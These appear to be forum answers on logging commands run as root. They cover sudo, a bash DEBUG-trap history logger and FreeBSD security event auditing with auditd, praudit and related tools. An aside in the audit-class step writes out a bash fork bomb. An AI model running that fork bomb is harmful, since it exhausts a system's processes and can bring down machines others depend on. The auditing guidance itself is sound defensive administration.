Log every command executed from root

Don't give him root access. Instead, give him an un-privileged user account and request that he do all of his work through sudo, which will log all of his commands.

Keep in mind that if this person has ill intentions and you give him full sudo privileges, he will find a way to carry out those ill intentions without those commands being logged. In this case, only grant him access to the specific commands he needs to do his job.

I'm not familiar with sudosh2, but I put the following in my .bashrc to log all the commands I type in a bash shell to the file ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

The above sets a trap on DEBUG, which is executed just before an ordinary command is executed. The caller built-in is used to test whether the command is being typed at an interactive shell or run via something like .bashrc. The value ${BASH_COMMAND} contains the command currently being executed.

You want to put the operating system in charge with triggering log events. With FreeBSD version 6.2 released in 2007 the security event audit facility became available. Today it is part of a GENERIC build.

1. Determine the audit event classes you want to track. The audit classes are defined in /etc/security/audit_class. In order to understand what specific audit events they comprise read /etc/security/audit_event. You want

   • fr file read,
   • fw file write,
   • fa file attribute access,
   • fm file attribute modify,
   • fc file create,
   • fd file delete, and
   • ex for the exec system call, or pc process control for any system call performing manipulations in the process namespace.

   NB: The ex class cannot capture shell built‑ins such as kill or ulimit (maybe x(){ x|x& };x, I haven’t tested that now).

2. Create and edit /etc/security/audit_user to include the line

   root:fr,fw,fa,fm,fc,fd,ex:no
   

   For the user root (gets resolved, so this includes toor), log all (successful or unsuccessful) file and (successful or unsuccessful) execution events. This set of events is not subject to further restrictions.

   NB: audit_user entries refer to the real user ID. It is set if root uses the setuid system call.

3. Enable the audit daemon.

   service auditd enable
   

4. Reboot the machine. This ensures root is logged out and needs to “log in” again; the set of logged events are evaluated once at login‑time. Also the auditdaemon is started.

5. Verify operation.

   service auditd status
   praudit /dev/auditpipe & { sleep 1 ; touch /tmp/foo ; } ; kill %1
   

   Audit logs are collected in /var/audit.

Notes:

• In audit_user you can list root and/or users of the wheel group and/or listed in /root/.k5login//root/.k5users (whichever method you employ to make su/ksu possible). You can then later filter the audit trails with auditreduce -e root to learn which of the logged actions were performed with the effective user ID root.
• Audit trails can get huge quite fast, so you may want to process them as soon as possible. You can for instance set up bsmtrace from the security/bsmtrace3 port to utilize the audit trail, but this warrants a separate question.
• Storing the audit trails on the machine you audit is a problem since they can be manipulated by root. The auditdistdaemon can distribute audit trail files over the network in a secure fashion. This does not prevent root from disrupting auditing services, though.
• The setaudit command of the security/setaudit port exposes the setaudit system call allowing you to monitor just one process group.
• If you want to look over someone’s shoulder like sudosh apparently allows, the snooping kernel module snp permits you to watch activities. For cooperative work I would prefer sysutils/screen or sysutils/tmux though.